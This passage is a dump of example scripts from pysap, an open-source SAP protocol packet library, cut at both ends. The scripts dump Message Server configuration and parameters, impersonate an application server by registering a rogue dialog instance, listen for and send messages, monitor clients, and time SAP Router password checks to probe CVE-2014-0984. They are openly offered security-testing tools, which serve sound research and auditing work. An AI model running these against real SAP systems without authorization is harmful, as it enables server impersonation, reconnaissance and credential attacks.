ms_dump_command_values, ms_opcode_error_values, ms_domain_values_inv 29 | 30 | 31 | # Set the verbosity to 0 32 | conf.verb = 0 33 | 34 | 35 | # Command line options parser 36 | def parse_options(): 37 | 38 | description = "This example script gather information provided by a SAP Netweaver Application Server with the " \ 39 | "Message Server protocol using the Dump command. Execution of the dump commands require accessing " \ 40 | "the internal Message Server port." 41 | 42 | usage = "%(prog)s [options] -d " 43 | 44 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 45 | 46 | target = parser.add_argument_group("Target") 47 | target.add_argument("-d", "--remote-host", dest="remote_host", 48 | help="Remote host") 49 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3900, 50 | help="Remote port [%(default)d]") 51 | target.add_argument("--route-string", dest="route_string", 52 | help="Route string for connecting through a SAP Router") 53 | target.add_argument("--domain", dest="domain", default="ABAP", 54 | help="Domain to connect to (ABAP, J2EE or JSTARTUP) [%(default)s]") 55 | 56 | misc = parser.add_argument_group("Misc options") 57 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 58 | misc.add_argument("-c", "--client", dest="client", default="pysap's-dumper", 59 | help="Client name [%(default)s]") 60 | 61 | options = parser.parse_args() 62 | 63 | if not (options.remote_host or options.route_string): 64 | parser.error("Remote host or route string is required") 65 | if options.domain not in ms_domain_values_inv.keys(): 66 | parser.error("Invalid domain specified") 67 | 68 | return options 69 | 70 | 71 | # Main function 72 | def main(): 73 | options = parse_options() 74 | 75 | if options.verbose: 76 | logging.basicConfig(level=logging.DEBUG) 77 | 78 | domain = ms_domain_values_inv[options.domain] 79 | 80 | # Initiate the connection 81 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 82 | options.remote_port, 83 | options.route_string, 84 | base_cls=SAPMS) 85 | print("[*] Connected to the message server %s:%d" % (options.remote_host, options.remote_port)) 86 | 87 | client_string = options.client 88 | 89 | # Send MS_LOGIN_2 packet 90 | p = SAPMS(flag=0x00, iflag=0x08, domain=domain, toname=client_string, fromname=client_string) 91 | 92 | print("[*] Sending login packet:") 93 | response = conn.sr(p)[SAPMS] 94 | 95 | print("[*] Login OK, Server string: %s" % response.fromname) 96 | server_string = response.fromname 97 | 98 | # Send a Dump Info packet for each possible Dump 99 | for i in ms_dump_command_values.keys(): 100 | 101 | # Skip MS_DUMP_MSADM and MS_DUMP_COUNTER commands as the info 102 | # is included in other dump commands 103 | if i in [1, 12]: 104 | continue 105 | 106 | p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname=server_string, 107 | fromname=client_string, opcode=0x1e, dump_dest=0x02, 108 | dump_command=i) 109 | 110 | print("[*] Sending dump info", ms_dump_command_values[i]) 111 | response = conn.sr(p)[SAPMS] 112 | 113 | if response.opcode_error != 0: 114 | print("Error:", ms_opcode_error_values[response.opcode_error]) 115 | print(response.opcode_value) 116 | 117 | 118 | if __name__ == "__main__": 119 | main() 120 | -------------------------------------------------------------------------------- /examples/ms_dump_param.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Example script by Yvan Genuer (@iggy38). 17 | # Martin Gallo (@martingalloar) 18 | # Code contributed by SecureAuth to the OWASP CBAS project 19 | # 20 | 21 | # Standard imports 22 | import re 23 | import logging 24 | from argparse import ArgumentParser 25 | # External imports 26 | from scapy.config import conf 27 | # Custom imports 28 | import pysap 29 | from pysap.SAPRouter import SAPRoutedStreamSocket 30 | from pysap.SAPMS import SAPMS, SAPMSAdmRecord 31 | 32 | # Set the verbosity to 0 33 | conf.verb = 0 34 | 35 | 36 | # Command line options parser 37 | def parse_options(): 38 | 39 | description = "This example script is a subset of ms_dump_info.py." \ 40 | " For each parameter provide in file, it retrieve value and check the result." \ 41 | " Access of the internal Message Server port is required." \ 42 | " Due to the wide of parameters type in SAP System, it's not perfect, and false positive could exist." 43 | 44 | usage = "%(prog)s [options] -d -f " 45 | 46 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 47 | 48 | target = parser.add_argument_group("Target") 49 | target.add_argument("-d", "--remote-host", dest="remote_host", 50 | help="Remote host") 51 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3900, 52 | help="Remote port [%(default)d]") 53 | target.add_argument("--route-string", dest="route_string", 54 | help="Route string for connecting through a SAP Router") 55 | 56 | param = parser.add_argument_group("Parameter") 57 | param.add_argument("-f", "--parameter-file", dest="file_param", metavar="FILE", 58 | help="parameters file (::)") 59 | 60 | misc = parser.add_argument_group("Misc options") 61 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 62 | misc.add_argument("-c", "--client", dest="client", default="pysap's-getparam", 63 | help="Client name [%(default)s]") 64 | 65 | options = parser.parse_args() 66 | 67 | if not (options.remote_host or options.route_string): 68 | parser.error("Remote host or route string is required") 69 | if not options.file_param: 70 | parser.error("Parameters file is required") 71 | 72 | return options 73 | 74 | 75 | # Main 76 | # ----- 77 | def main(): 78 | options = parse_options() 79 | 80 | if options.verbose: 81 | logging.basicConfig(level=logging.DEBUG) 82 | 83 | # initiate the connection : 84 | print("[*] Initiate connection to message server %s:%d" % (options.remote_host, options.remote_port)) 85 | try: 86 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 87 | options.remote_port, 88 | options.route_string, 89 | base_cls=SAPMS) 90 | except Exception as e: 91 | print(e) 92 | print ("Error during MS connection. Is internal ms port %d reachable ?" % options.remote_port) 93 | else: 94 | print ("[*] Connected. I check parameters...") 95 | client_string = options.client 96 | # Send MS_LOGIN_2 packet 97 | p = SAPMS(flag=0x00, iflag=0x08, toname=client_string, fromname=client_string) 98 | print("[*] Sending login packet:") 99 | response = conn.sr(p)[SAPMS] 100 | print("[*] Login OK, Server string: %s\n" % response.fromname) 101 | server_string = response.fromname 102 | 103 | try: 104 | with open(options.file_param) as list_param: 105 | for line in list_param.readlines(): 106 | line = line.strip() 107 | 108 | # Check for comments or empty lines 109 | if len(line) == 0 or line.startswith("#"): 110 | continue 111 | 112 | # Get parameters, check type and expected value 113 | # param2c = the SAP parameter to check 114 | # check_type = EQUAL, SUP, INF, REGEX, 115 | # value2c = the expect value for 'ok' status 116 | (param2c, check_type, value2c) = line.split(':') 117 | status = '[!]' 118 | 119 | # create request 120 | adm = SAPMSAdmRecord(opcode=0x1, parameter=param2c) 121 | p = SAPMS(toname=server_string, fromname=client_string, version=4, flag=0x04, iflag=0x05, 122 | adm_records=[adm]) 123 | 124 | # send request 125 | respond = conn.sr(p)[SAPMS] 126 | value = respond.adm_records[0].parameter.replace(respond.adm_records[0].parameter.split('=')[0] + 127 | '=', '') 128 | 129 | status = '[ ]' 130 | # Verify if value match with expected value 131 | if value == '': 132 | value = 'NOT_EXIST' 133 | elif check_type == 'EQUAL': 134 | if value.upper() == str(value2c).upper(): 135 | status = '[+]' 136 | elif check_type == 'NOTEQUAL': 137 | if value.upper() != str(value2c).upper(): 138 | status = '[+]' 139 | elif check_type == 'REGEX': 140 | if re.match(value2c.upper(), value.upper()) and value2c != 'NOT_EXIST': 141 | status = '[+]' 142 | elif check_type == 'SUP': 143 | if float(value) >= float(value2c): 144 | status = '[+]' 145 | elif check_type == 'INF': 146 | if float(value) <= float(value2c): 147 | status = '[+]' 148 | 149 | # display result 150 | print ("%s %s = %s" % (status, param2c, value)) 151 | 152 | except IOError: 153 | print("Error reading parameters file !") 154 | exit(0) 155 | except ValueError: 156 | print("Invalid parameters file format or access denied!") 157 | exit(0) 158 | 159 | 160 | if __name__ == '__main__': 161 | main() 162 | -------------------------------------------------------------------------------- /examples/ms_impersonator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | # External imports 24 | from scapy.config import conf 25 | # Custom imports 26 | import pysap 27 | from pysap.SAPRouter import SAPRoutedStreamSocket 28 | from pysap.SAPMS import SAPMS, SAPMSProperty, SAPMSLogon, ms_domain_values_inv 29 | 30 | 31 | # Set the verbosity to 0 32 | conf.verb = 0 33 | conf.debug_dissector = True 34 | 35 | 36 | # Command line options parser 37 | def parse_options(): 38 | 39 | description = "This example script connects with the Message Server service of a SAP Netweaver Application Server "\ 40 | "and impersonates an application server registering as a Dialog instance server." 41 | 42 | usage = "%(prog)s [options] -d -l " 43 | 44 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 45 | 46 | target = parser.add_argument_group("Target") 47 | target.add_argument("-d", "--remote-host", dest="remote_host", 48 | help="Remote host") 49 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3900, 50 | help="Remote port [%(default)d]") 51 | target.add_argument("-l", "--logon", dest="logon_address", 52 | help="Logon address") 53 | target.add_argument("--route-string", dest="route_string", 54 | help="Route string for connecting through a SAP Router") 55 | target.add_argument("--domain", dest="domain", default="ABAP", 56 | help="Domain to connect to (ABAP, J2EE or JSTARTUP) [%(default)s]") 57 | 58 | misc = parser.add_argument_group("Misc options") 59 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 60 | misc.add_argument("-c", "--client", dest="client", default="pysap's-impersonator", 61 | help="Client name [%(default)s]") 62 | 63 | options = parser.parse_args() 64 | 65 | if not (options.remote_host or options.route_string): 66 | parser.error("Remote host or route string is required") 67 | if not options.logon_address: 68 | parser.error("Logon address is required") 69 | if options.domain not in ms_domain_values_inv.keys(): 70 | parser.error("Invalid domain specified") 71 | 72 | return options 73 | 74 | 75 | # Main function 76 | def main(): 77 | options = parse_options() 78 | 79 | if options.verbose: 80 | logging.basicConfig(level=logging.DEBUG) 81 | 82 | domain = ms_domain_values_inv[options.domain] 83 | 84 | # Initiate the connection 85 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 86 | options.remote_port, 87 | options.route_string, 88 | base_cls=SAPMS) 89 | print("[*] Connected to the message server %s:%d" % (options.remote_host, options.remote_port)) 90 | 91 | # Set release information 92 | prop = SAPMSProperty(id=7, release="720", patchno=70, supplvl=0, platform=0) 93 | p = SAPMS(flag=0x01, iflag=0x01, domain=domain, toname="MSG_SERVER", fromname=options.client, opcode=0x43, property=prop) 94 | print("[*] Setting release information") 95 | conn.send(p) 96 | 97 | # Perform the login enabling the DIA+BTC+ICM services 98 | p = SAPMS(flag=0x08, iflag=0x08, msgtype=0x89, domain=domain, toname="-", fromname=options.client) 99 | print("[*] Sending login packet") 100 | conn.sr(p)[SAPMS] 101 | print("[*] Login performed") 102 | 103 | # Changing the status to starting 104 | p = SAPMS(flag=0x01, iflag=0x09, msgtype=0x05, domain=domain, toname="-", fromname=options.client) 105 | print("[*] Changing server's status to starting") 106 | conn.send(p) 107 | 108 | # Set IP address 109 | p = SAPMS(flag=0x01, iflag=0x01, domain=domain, toname="MSG_SERVER", fromname=options.client, opcode=0x06, 110 | opcode_version=0x01, change_ip_addressv4=options.logon_address) 111 | print("[*] Setting IP address") 112 | response = conn.sr(p)[SAPMS] 113 | print("[*] IP address set") 114 | response.show() 115 | 116 | # Set logon information 117 | l = SAPMSLogon(type=2, port=3200, address=options.logon_address, host=options.client, misc="LB=3") 118 | p = SAPMS(flag=0x01, iflag=0x01, msgtype=0x01, domain=domain, toname="MSG_SERVER", fromname=options.client, 119 | opcode=0x2b, logon=l) 120 | print("[*] Setting logon information") 121 | response = conn.sr(p)[SAPMS] 122 | print("[*] Logon information set") 123 | response.show() 124 | 125 | # Set the IP Address property 126 | prop = SAPMSProperty(client=options.client, id=0x03, address=options.logon_address) 127 | p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname="-", fromname=options.client, 128 | opcode=0x43, property=prop) 129 | print("[*] Setting IP address property") 130 | response = conn.sr(p)[SAPMS] 131 | print("[*] IP Address property set") 132 | response.show() 133 | 134 | # Changing the status to active 135 | p = SAPMS(flag=0x01, iflag=0x09, msgtype=0x01, domain=domain, toname="-", fromname=options.client) 136 | print("[*] Changing server's status to active") 137 | conn.send(p) 138 | 139 | # Wait for connections 140 | try: 141 | while True: 142 | response = conn.recv()[SAPMS] 143 | response.show() 144 | 145 | except KeyboardInterrupt: 146 | print("[*] Cancelled by the user !") 147 | 148 | # Send MS_LOGOUT packet 149 | p = SAPMS(flag=0x00, iflag=0x04, domain=domain, toname="MSG_SERVER", fromname=options.client) 150 | print("[*] Sending logout packet") 151 | conn.send(p) 152 | 153 | 154 | if __name__ == "__main__": 155 | main() 156 | -------------------------------------------------------------------------------- /examples/ms_listener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | from socket import error as SocketError 24 | # External imports 25 | from scapy.config import conf 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPRouter import SAPRoutedStreamSocket 29 | from pysap.SAPMS import SAPMS, ms_domain_values_inv 30 | 31 | 32 | # Set the verbosity to 0 33 | conf.verb = 0 34 | 35 | 36 | # Command line options parser 37 | def parse_options(): 38 | 39 | description = "This example script connects with the Message Server service and listen for messages coming from " \ 40 | "the server." 41 | 42 | usage = "%(prog)s [options] -d " 43 | 44 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 45 | 46 | target = parser.add_argument_group("Target") 47 | target.add_argument("-d", "--remote-host", dest="remote_host", 48 | help="Remote host") 49 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3900, 50 | help="Remote port [%(default)d]") 51 | target.add_argument("--route-string", dest="route_string", 52 | help="Route string for connecting through a SAP Router") 53 | target.add_argument("--domain", dest="domain", default="ABAP", 54 | help="Domain to connect to (ABAP, J2EE or JSTARTUP) [%(default)s]") 55 | 56 | misc = parser.add_argument_group("Misc options") 57 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 58 | misc.add_argument("-c", "--client", dest="client", default="pysap's-listener", 59 | help="Client name [%(default)s]") 60 | 61 | options = parser.parse_args() 62 | 63 | if not (options.remote_host or options.route_string): 64 | parser.error("Remote host or route string is required") 65 | if options.domain not in ms_domain_values_inv.keys(): 66 | parser.error("Invalid domain specified") 67 | 68 | return options 69 | 70 | 71 | # Main function 72 | def main(): 73 | options = parse_options() 74 | 75 | if options.verbose: 76 | logging.basicConfig(level=logging.DEBUG) 77 | 78 | domain = ms_domain_values_inv[options.domain] 79 | 80 | # Initiate the connection 81 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 82 | options.remote_port, 83 | options.route_string, 84 | base_cls=SAPMS) 85 | print("[*] Connected to the message server %s:%d" % (options.remote_host, options.remote_port)) 86 | 87 | client_string = options.client 88 | 89 | # Send MS_LOGIN_2 packet 90 | p = SAPMS(flag=0x00, iflag=0x08, domain=domain, toname=client_string, fromname=client_string) 91 | 92 | print("[*] Sending login packet") 93 | response = conn.sr(p)[SAPMS] 94 | 95 | print("[*] Login performed, server string: %s" % response.fromname) 96 | 97 | print("[*] Listening to server messages") 98 | try: 99 | while (True): 100 | # Send MS_SERVER_LST packet 101 | response = conn.recv()[SAPMS] 102 | 103 | print("[*] Message received !") 104 | response.show() 105 | 106 | except SocketError: 107 | print("[*] Connection error") 108 | except KeyboardInterrupt: 109 | print("[*] Cancelled by the user") 110 | 111 | 112 | if __name__ == "__main__": 113 | main() 114 | -------------------------------------------------------------------------------- /examples/ms_messager.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | # External imports 24 | from scapy.config import conf 25 | from scapy.packet import Raw 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPRouter import SAPRoutedStreamSocket 29 | from pysap.SAPMS import SAPMS, ms_domain_values_inv 30 | 31 | 32 | # Set the verbosity to 0 33 | conf.verb = 0 34 | 35 | 36 | # Command line options parser 37 | def parse_options(): 38 | 39 | description = "This example script connects with the Message Server service and sends a message to another client." 40 | 41 | usage = "%(prog)s [options] -d -t -m " 42 | 43 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 44 | 45 | target = parser.add_argument_group("Target") 46 | target.add_argument("-d", "--remote-host", dest="remote_host", 47 | help="Remote host") 48 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3900, 49 | help="Remote port [%(default)d]") 50 | target.add_argument("--route-string", dest="route_string", 51 | help="Route string for connecting through a SAP Router") 52 | target.add_argument("--domain", dest="domain", default="ABAP", 53 | help="Domain to connect to (ABAP, J2EE or JSTARTUP) [%(default)s]") 54 | 55 | misc = parser.add_argument_group("Misc options") 56 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 57 | misc.add_argument("-c", "--client", dest="client", default="pysap's-messager", 58 | help="Client name [%(default)s]") 59 | misc.add_argument("-m", "--message", dest="message", default="Message", 60 | help="Message to send to the target client [%(default)s]") 61 | misc.add_argument("-t", "--target", dest="target", default="pysap's-listener", 62 | help="Target client name to send the message [%(default)s]") 63 | 64 | options = parser.parse_args() 65 | 66 | if not (options.remote_host or options.route_string): 67 | parser.error("Remote host or route string is required") 68 | if not options.message or not options.target: 69 | parser.error("Target server and message are required !") 70 | if options.domain not in ms_domain_values_inv.keys(): 71 | parser.error("Invalid domain specified") 72 | 73 | return options 74 | 75 | 76 | # Main function 77 | def main(): 78 | options = parse_options() 79 | 80 | if options.verbose: 81 | logging.basicConfig(level=logging.DEBUG) 82 | 83 | domain = ms_domain_values_inv[options.domain] 84 | 85 | # Initiate the connection 86 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 87 | options.remote_port, 88 | options.route_string, 89 | base_cls=SAPMS) 90 | print("[*] Connected to the message server %s:%d" % (options.remote_host, options.remote_port)) 91 | 92 | client_string = options.client 93 | 94 | # Send MS_LOGIN_2 packet 95 | p = SAPMS(flag=0x00, iflag=0x08, domain=domain, toname=client_string, fromname=client_string) 96 | 97 | print("[*] Sending login packet") 98 | response = conn.sr(p)[SAPMS] 99 | 100 | print("[*] Login performed, server string: %s" % response.fromname) 101 | 102 | # Sends a message to another client 103 | p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname=options.target, fromname=client_string, opcode=1) 104 | p /= Raw(options.message) 105 | 106 | print("[*] Sending packet to: %s" % options.target) 107 | conn.send(p) 108 | 109 | 110 | if __name__ == "__main__": 111 | main() 112 | -------------------------------------------------------------------------------- /examples/ms_observer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | from socket import error as SocketError 24 | # External imports 25 | from scapy.config import conf 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPRouter import SAPRoutedStreamSocket 29 | from pysap.SAPMS import SAPMS, ms_domain_values_inv 30 | 31 | 32 | # Set the verbosity to 0 33 | conf.verb = 0 34 | 35 | 36 | # Command line options parser 37 | def parse_options(): 38 | 39 | description = "This example script connects with the Message Server service of a SAP Netweaver Application Server "\ 40 | "and monitors the clients to identify new application servers. Similar to SAP's msprot tool." 41 | 42 | usage = "%(prog)s [options] -d " 43 | 44 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 45 | 46 | target = parser.add_argument_group("Target") 47 | target.add_argument("-d", "--remote-host", dest="remote_host", 48 | help="Remote host") 49 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3900, 50 | help="Remote port [%(default)d]") 51 | target.add_argument("--route-string", dest="route_string", 52 | help="Route string for connecting through a SAP Router") 53 | target.add_argument("--domain", dest="domain", default="ABAP", 54 | help="Domain to connect to (ABAP, J2EE or JSTARTUP) [%(default)s]") 55 | 56 | misc = parser.add_argument_group("Misc options") 57 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 58 | misc.add_argument("-c", "--client", dest="client", default="pysap's-observer", 59 | help="Client name [%(default)s]") 60 | 61 | options = parser.parse_args() 62 | 63 | if not (options.remote_host or options.route_string): 64 | parser.error("Remote host or route string is required") 65 | if options.domain not in ms_domain_values_inv.keys(): 66 | parser.error("Invalid domain specified") 67 | 68 | return options 69 | 70 | 71 | # Main function 72 | def main(): 73 | options = parse_options() 74 | 75 | if options.verbose: 76 | logging.basicConfig(level=logging.DEBUG) 77 | 78 | domain = ms_domain_values_inv[options.domain] 79 | 80 | # Initiate the connection 81 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 82 | options.remote_port, 83 | options.route_string, 84 | base_cls=SAPMS) 85 | print("[*] Connected to the message server %s:%d" % (options.remote_host, options.remote_port)) 86 | 87 | # Generate a random client string to differentiate our connection 88 | client_string = options.client 89 | 90 | # Send MS_LOGIN_2 packet 91 | print("[*] Sending login packet") 92 | p = SAPMS(flag=0x00, iflag=0x08, domain=domain, toname=client_string, fromname=client_string) 93 | response = conn.sr(p)[SAPMS] 94 | 95 | print("[*] Login performed, server string: %s" % response.fromname) 96 | server_string = response.fromname 97 | 98 | # Send MS_SERVER_CHG packet 99 | print("[*] Sending server change packet") 100 | p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname=server_string, fromname=client_string, opcode=0x01, 101 | opcode_version=4) 102 | response = conn.sr(p)[SAPMS] 103 | 104 | # Send MS_SERVER_LONG_LIST packet 105 | print("[*] Sending server long list packet") 106 | p = SAPMS(flag=0x01, iflag=0x01, domain=domain, toname=server_string, fromname=client_string, opcode=0x40, 107 | opcode_charset=0x00) 108 | conn.send(p) 109 | 110 | clients = [] 111 | 112 | def print_client(msg, client): 113 | if options.verbose: 114 | print("[*] %s %s (host=%s, service=%s, port=%d)" % (msg, 115 | client.client.strip(), 116 | client.host.strip(), 117 | client.service.strip(), 118 | client.servno)) 119 | 120 | # Send MS_SERVER_LST packet 121 | print("[*] Retrieving list of current clients") 122 | p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname=server_string, fromname=client_string, opcode=0x05, 123 | opcode_version=0x68) 124 | response = conn.sr(p)[SAPMS] 125 | for client in response.clients: 126 | if client.client != client_string: 127 | clients.append(("LIST", client)) 128 | print_client("Client", client) 129 | 130 | try: 131 | while (True): 132 | response = conn.recv()[SAPMS] 133 | 134 | response.show() 135 | if response.opcode == 0x02: # Added client 136 | client = response.clients[0] 137 | clients.append(("ADD", client)) 138 | print_client("Added client", client) 139 | elif response.opcode == 0x03: # Deleted client 140 | client = response.clients[0] 141 | clients.append(("DEL", client)) 142 | print_client("Deleted client", client) 143 | elif response.opcode == 0x04: # Modified client 144 | client = response.clients[0] 145 | clients.append(("MOD", client)) 146 | print_client("Modified client", client) 147 | 148 | except SocketError: 149 | print("[*] Connection error") 150 | except KeyboardInterrupt: 151 | print("[*] Cancelled by the user") 152 | 153 | finally: 154 | print("[*] Observed clients:") 155 | for action, client in clients: 156 | print("\t%s\tclient %s (host=%s, service=%s, port=%d)" % (action, 157 | client.client.strip(), 158 | client.host.strip(), 159 | client.service.strip(), 160 | client.servno)) 161 | 162 | 163 | if __name__ == "__main__": 164 | main() 165 | -------------------------------------------------------------------------------- /examples/router_password_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | # External imports 24 | from scapy.config import conf 25 | from scapy.packet import bind_layers 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPNI import SAPNI, SAPNIStreamSocket 29 | from pysap.SAPRouter import SAPRouter, get_router_version 30 | 31 | # Try to import fau-timer for failing gracefully if not found 32 | try: 33 | import fau_timer 34 | except ImportError: 35 | fau_timer = None 36 | 37 | 38 | # Bind the SAPRouter layer 39 | bind_layers(SAPNI, SAPRouter, ) 40 | 41 | # Set the verbosity to 0 42 | conf.verb = 0 43 | 44 | 45 | # Command line options parser 46 | def parse_options(): 47 | 48 | description = "This example script connects with a SAP Router service and makes an information request using a " \ 49 | "provided password. It then records the time the remote service takes to respond to the request. " \ 50 | "Further analysis of the time records could be performed in order to identify whether the server " \ 51 | "is vulnerable to a timing attack on the password check (CVE-2014-0984). More details about the " \ 52 | "vulnerability in https://www.coresecurity.com/advisories/sap-router-password-timing-attack. " \ 53 | "The script make use of the fau_timer library for measuring the timing of server's responses. " \ 54 | "Install the library from https://github.com/seecurity/mona-timing-lib." 55 | 56 | usage = "%(prog)s [options] -d " 57 | 58 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 59 | 60 | target = parser.add_argument_group("Target") 61 | target.add_argument("-d", "--remote-host", dest="remote_host", default="127.0.0.1", 62 | help="Remote host [%(default)s]") 63 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3299, 64 | help="Remote port [%(default)d]") 65 | target.add_argument("--router-version", dest="router_version", type=int, 66 | help="SAP Router version to use [retrieve from the remote SAP Router]") 67 | 68 | misc = parser.add_argument_group("Misc options") 69 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 70 | misc.add_argument("-t", "--tries", dest="tries", default=10, type=int, 71 | help="Amount of tries to make for each length [%(default)d]") 72 | misc.add_argument("--password", dest="password", default="password", 73 | help="Correct password to test [%(default)s]") 74 | misc.add_argument("-o", "--output", dest="output", default="output.csv", 75 | help="Output file [%(default)s]") 76 | 77 | options = parser.parse_args() 78 | 79 | if not options.remote_host: 80 | parser.error("Remote host is required") 81 | 82 | return options 83 | 84 | 85 | def try_password(options, password, output=None, k=0): 86 | 87 | p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=options.router_version) 88 | p.adm_command = 2 89 | p.adm_password = password 90 | p = str(SAPNI() / p) 91 | 92 | fau_timer.init() 93 | fau_timer.send_request(options.remote_host, options.remote_port, p, len(p)) 94 | fau_timer.calculate_time() 95 | cpu_peed = fau_timer.get_speed() 96 | cpu_ticks = fau_timer.get_cpu_ticks() 97 | time = fau_timer.get_time() 98 | 99 | logging.debug("Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s nanosec" % (cpu_peed, cpu_ticks, time)) 100 | 101 | # Write the time to the output file 102 | if output: 103 | output.write("%i,%s,%s\n" % (k, password, time)) 104 | 105 | return time 106 | 107 | 108 | # Main function 109 | def main(): 110 | options = parse_options() 111 | 112 | level = logging.INFO 113 | if options.verbose: 114 | level = logging.DEBUG 115 | logging.basicConfig(level=level, format='%(message)s') 116 | 117 | if fau_timer is None: 118 | logging.error("[-] Required library not found. Please install it from 